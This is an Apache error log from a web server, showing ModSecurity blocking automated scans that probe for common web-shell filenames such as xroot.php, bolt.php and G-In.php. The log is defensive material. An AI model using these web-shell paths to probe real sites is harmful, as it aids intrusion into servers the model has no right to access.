[Thu Apr 23 21:56:10.636821 2026] [:error] [pid 65000:tid 65054] [client 51.12.86.96:5407] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mk.php"] [unique_id "aeok-r6vRb9j6psK2ZafTQAAAhU"]
[Thu Apr 23 21:56:11.207150 2026] [:error] [pid 43083:tid 43105] [client 51.12.86.96:5398] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mk.php"] [unique_id "aeok-zC5hrvNXosL83J9rAAAANQ"]
[Thu Apr 23 21:56:11.833900 2026] [:error] [pid 65000:tid 65050] [client 51.12.86.96:6027] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mk.php"] [unique_id "aeok-76vRb9j6psK2ZafUgAAAhE"]
[Thu Apr 23 21:56:12.475387 2026] [:error] [pid 65000:tid 65032] [client 51.12.86.96:5383] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mk.php"] [unique_id "aeok_L6vRb9j6psK2ZafVwAAAgM"]
[Thu Apr 23 21:56:13.082226 2026] [:error] [pid 65000:tid 65042] [client 51.12.86.96:6097] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aeok_b6vRb9j6psK2ZafXQAAAgk"]
[Thu Apr 23 21:56:13.679068 2026] [:error] [pid 65000:tid 65051] [client 51.12.86.96:6092] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aeok_b6vRb9j6psK2ZafYQAAAhI"]
[Thu Apr 23 21:56:14.247530 2026] [:error] [pid 59700:tid 59702] [client 51.12.86.96:21773] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aeok_pXyGZJFeAIDWtkwnQAAAUA"]
[Thu Apr 23 21:56:14.779073 2026] [:error] [pid 65000:tid 65032] [client 51.12.86.96:5735] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aeok_r6vRb9j6psK2ZafaQAAAgM"]
[Thu Apr 23 21:56:15.318376 2026] [:error] [pid 42971:tid 42988] [client 51.12.86.96:6109] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "aeok_zEP2_5RswrH8bEuvAAAAAI"]
[Thu Apr 23 21:56:15.911282 2026] [:error] [pid 42972:tid 43025] [client 51.12.86.96:6127] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "aeok_8OAb-3sOknsk4dJ1gAAAEk"]
[Thu Apr 23 21:56:16.524299 2026] [:error] [pid 42972:tid 43018] [client 51.12.86.96:6049] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "aeolAMOAb-3sOknsk4dJ1wAAAEI"]
[Thu Apr 23 21:56:17.132187 2026] [proxy_fcgi:error] [pid 64998:tid 65017] [client 51.12.86.96:5720] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:56:17.795683 2026] [proxy_fcgi:error] [pid 64998:tid 65014] [client 51.12.86.96:5720] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:56:18.063662 2026] [proxy_fcgi:error] [pid 64998:tid 65003] [client 51.12.86.96:5720] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:56:18.340688 2026] [proxy_fcgi:error] [pid 64998:tid 65024] [client 51.12.86.96:5720] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:56:18.618568 2026] [proxy_fcgi:error] [pid 64998:tid 65019] [client 51.12.86.96:5720] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:56:18.896729 2026] [proxy_fcgi:error] [pid 64998:tid 65018] [client 51.12.86.96:5720] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:56:19.165165 2026] [proxy_fcgi:error] [pid 64998:tid 65010] [client 51.12.86.96:5720] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:56:19.551944 2026] [proxy_fcgi:error] [pid 64998:tid 65013] [client 51.12.86.96:5720] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:56:19.819600 2026] [proxy_fcgi:error] [pid 64998:tid 65002] [client 51.12.86.96:5720] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:56:20.087011 2026] [proxy_fcgi:error] [pid 64998:tid 65025] [client 51.12.86.96:5720] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:56:20.354760 2026] [:error] [pid 64998:tid 65008] [client 51.12.86.96:5720] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeolBIV5EysYcTLjmwiOEwAAAcY"]
[Thu Apr 23 21:56:20.899654 2026] [:error] [pid 59700:tid 59712] [client 51.12.86.96:21796] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeolBJXyGZJFeAIDWtkwngAAAUo"]
[Thu Apr 23 21:56:21.543237 2026] [:error] [pid 59700:tid 59711] [client 51.12.86.96:5752] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeolBZXyGZJFeAIDWtkwnwAAAUk"]
[Thu Apr 23 21:56:22.240454 2026] [:error] [pid 46953:tid 46965] [client 51.12.86.96:5376] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeolBknlpdHh-P6wKbo-igAAAkk"]
[Thu Apr 23 21:56:22.826637 2026] [:error] [pid 59700:tid 59707] [client 51.12.86.96:6071] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeolBpXyGZJFeAIDWtkwowAAAUU"]
[Thu Apr 23 21:56:23.464845 2026] [:error] [pid 65000:tid 65042] [client 51.12.86.96:6134] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeolB76vRb9j6psK2ZafbwAAAgk"]
[Thu Apr 23 21:56:24.049893 2026] [:error] [pid 46953:tid 46963] [client 51.12.86.96:6137] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeolCEnlpdHh-P6wKbo-jgAAAkc"]
[Thu Apr 23 21:56:24.580328 2026] [:error] [pid 42972:tid 43040] [client 51.12.86.96:6136] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeolCMOAb-3sOknsk4dJ2wAAAFg"]
[Thu Apr 23 21:56:25.112437 2026] [:error] [pid 43083:tid 43098] [client 51.12.86.96:5696] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aeolCTC5hrvNXosL83J9sgAAAM0"]
[Thu Apr 23 21:56:25.804850 2026] [:error] [pid 42972:tid 43036] [client 51.12.86.96:6115] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aeolCcOAb-3sOknsk4dJ3gAAAFQ"]
[Thu Apr 23 21:56:26.394014 2026] [:error] [pid 46953:tid 46973] [client 51.12.86.96:5746] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aeolCknlpdHh-P6wKbo-jwAAAlE"]
[Thu Apr 23 21:56:27.018221 2026] [:error] [pid 42972:tid 43038] [client 51.12.86.96:6113] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aeolC8OAb-3sOknsk4dJ4wAAAFY"]
[Thu Apr 23 21:56:27.554164 2026] [:error] [pid 59700:tid 59710] [client 51.12.86.96:5414] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aeolC5XyGZJFeAIDWtkwrAAAAUg"]
[Thu Apr 23 21:56:28.222517 2026] [:error] [pid 59700:tid 59713] [client 51.12.86.96:21816] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aeolDJXyGZJFeAIDWtkwrwAAAUs"]
[Thu Apr 23 21:56:28.776185 2026] [:error] [pid 65000:tid 65031] [client 51.12.86.96:5726] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aeolDL6vRb9j6psK2ZafcQAAAgI"]
[Thu Apr 23 21:56:29.435940 2026] [:error] [pid 64998:tid 65006] [client 51.12.86.96:6129] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aeolDYV5EysYcTLjmwiOFgAAAcQ"]
[Fri Apr 24 01:49:58.512783 2026] [proxy_fcgi:error] [pid 64998:tid 65022] [client 51.11.246.40:26271] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 01:49:58.753889 2026] [proxy_fcgi:error] [pid 64998:tid 65003] [client 51.11.246.40:26271] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 01:49:58.993316 2026] [proxy_fcgi:error] [pid 64998:tid 65021] [client 51.11.246.40:26271] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 01:49:59.239174 2026] [proxy_fcgi:error] [pid 64998:tid 65016] [client 51.11.246.40:26271] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 01:49:59.477513 2026] [proxy_fcgi:error] [pid 64998:tid 65009] [client 51.11.246.40:26271] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 01:49:59.716746 2026] [proxy_fcgi:error] [pid 64998:tid 65020] [client 51.11.246.40:26271] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 01:49:59.956664 2026] [proxy_fcgi:error] [pid 64998:tid 65026] [client 51.11.246.40:26271] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:40:26.364377 2026] [proxy_fcgi:error] [pid 19200:tid 19228] [client 74.248.17.200:14031] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:40:26.674044 2026] [proxy_fcgi:error] [pid 19200:tid 19216] [client 74.248.17.200:14031] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:40:27.034682 2026] [proxy_fcgi:error] [pid 19200:tid 19215] [client 74.248.17.200:14031] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:40:27.592055 2026] [proxy_fcgi:error] [pid 19200:tid 19221] [client 74.248.17.200:14031] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:40:27.890469 2026] [proxy_fcgi:error] [pid 19200:tid 19230] [client 74.248.17.200:14031] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:40:28.180857 2026] [proxy_fcgi:error] [pid 19200:tid 19222] [client 74.248.17.200:14031] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:40:28.470541 2026] [proxy_fcgi:error] [pid 19200:tid 19219] [client 74.248.17.200:14031] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:40:28.761325 2026] [proxy_fcgi:error] [pid 19200:tid 19209] [client 74.248.17.200:14031] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:40:29.056149 2026] [proxy_fcgi:error] [pid 19200:tid 19211] [client 74.248.17.200:14031] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:40:29.532039 2026] [proxy_fcgi:error] [pid 19200:tid 19225] [client 74.248.17.200:14031] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:40:29.817886 2026] [:error] [pid 19200:tid 19218] [client 74.248.17.200:14031] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/G-In.php"] [unique_id "aeqf3TQ--M3-tsKAnhGxGwAAAMo"]
[Fri Apr 24 06:40:30.873916 2026] [:error] [pid 19102:tid 19169] [client 74.248.17.200:21960] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/G-In.php"] [unique_id "aeqf3gDSgrbLEZbkqD7UxgAAAIU"]
[Fri Apr 24 06:40:32.373802 2026] [:error] [pid 19101:tid 19143] [client 74.248.17.200:23443] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/G-In.php"] [unique_id "aeqf4GAHj9bEvrTgbO3aAQAAAEY"]
[Fri Apr 24 06:40:33.293841 2026] [:error] [pid 19102:tid 19165] [client 74.248.17.200:35809] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/G-In.php"] [unique_id "aeqf4QDSgrbLEZbkqD7U0QAAAIE"]
[Fri Apr 24 06:40:34.954636 2026] [:error] [pid 19102:tid 19182] [client 74.248.17.200:14223] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aj11.php"] [unique_id "aeqf4gDSgrbLEZbkqD7U2QAAAJI"]
[Fri Apr 24 06:40:37.178043 2026] [:error] [pid 19200:tid 19224] [client 74.248.17.200:6186] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aj11.php"] [unique_id "aeqf5TQ--M3-tsKAnhGxJAAAANA"]
[Fri Apr 24 06:40:38.545428 2026] [:error] [pid 19200:tid 19214] [client 74.248.17.200:28854] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aj11.php"] [unique_id "aeqf5jQ--M3-tsKAnhGxMAAAAMY"]
[Fri Apr 24 06:40:39.634991 2026] [:error] [pid 52129:tid 52139] [client 74.248.17.200:11695] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aj11.php"] [unique_id "aeqf5-KCZKf8_u2LKiB8ngAAAQY"]
[Fri Apr 24 06:40:40.853979 2026] [:error] [pid 52129:tid 52153] [client 74.248.17.200:17330] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tires.php"] [unique_id "aeqf6OKCZKf8_u2LKiB8qQAAARQ"]
[Fri Apr 24 06:40:42.116498 2026] [:error] [pid 19200:tid 19229] [client 74.248.17.200:6339] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tires.php"] [unique_id "aeqf6jQ--M3-tsKAnhGxPwAAANU"]
[Fri Apr 24 06:40:43.398137 2026] [:error] [pid 52129:tid 52141] [client 74.248.17.200:6442] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tires.php"] [unique_id "aeqf6-KCZKf8_u2LKiB8tgAAAQg"]
[Fri Apr 24 06:40:44.453190 2026] [:error] [pid 52129:tid 52155] [client 74.248.17.200:29992] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tires.php"] [unique_id "aeqf7OKCZKf8_u2LKiB8wAAAARY"]
[Fri Apr 24 06:40:45.451378 2026] [:error] [pid 19100:tid 19124] [client 74.248.17.200:7148] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xroot.php"] [unique_id "aeqf7bF_hzQs4CqbifcT9AAAAA4"]
[Fri Apr 24 06:40:46.502417 2026] [:error] [pid 19100:tid 19123] [client 74.248.17.200:17700] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xroot.php"] [unique_id "aeqf7rF_hzQs4CqbifcT-gAAAA0"]
[Fri Apr 24 06:40:47.236666 2026] [:error] [pid 19100:tid 19134] [client 74.248.17.200:25372] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xroot.php"] [unique_id "aeqf77F_hzQs4CqbifcUAwAAABg"]
[Fri Apr 24 06:40:48.296296 2026] [:error] [pid 19200:tid 19226] [client 74.248.17.200:7106] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xroot.php"] [unique_id "aeqf8DQ--M3-tsKAnhGxSAAAANI"]
[Fri Apr 24 06:40:48.914101 2026] [:error] [pid 19200:tid 19213] [client 74.248.17.200:41531] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tea.php"] [unique_id "aeqf8DQ--M3-tsKAnhGxSgAAAMU"]
[Fri Apr 24 06:40:49.586078 2026] [:error] [pid 19200:tid 19214] [client 74.248.17.200:46635] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tea.php"] [unique_id "aeqf8TQ--M3-tsKAnhGxTAAAAMY"]
[Fri Apr 24 06:40:50.110906 2026] [:error] [pid 52129:tid 52143] [client 74.248.17.200:40894] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tea.php"] [unique_id "aeqf8uKCZKf8_u2LKiB80gAAAQo"]
[Fri Apr 24 06:40:50.674834 2026] [:error] [pid 19101:tid 19157] [client 74.248.17.200:7132] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tea.php"] [unique_id "aeqf8mAHj9bEvrTgbO3aRwAAAFQ"]
[Fri Apr 24 06:40:51.334633 2026] [:error] [pid 19102:tid 19167] [client 74.248.17.200:12925] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uwu.php"] [unique_id "aeqf8wDSgrbLEZbkqD7U8AAAAIM"]
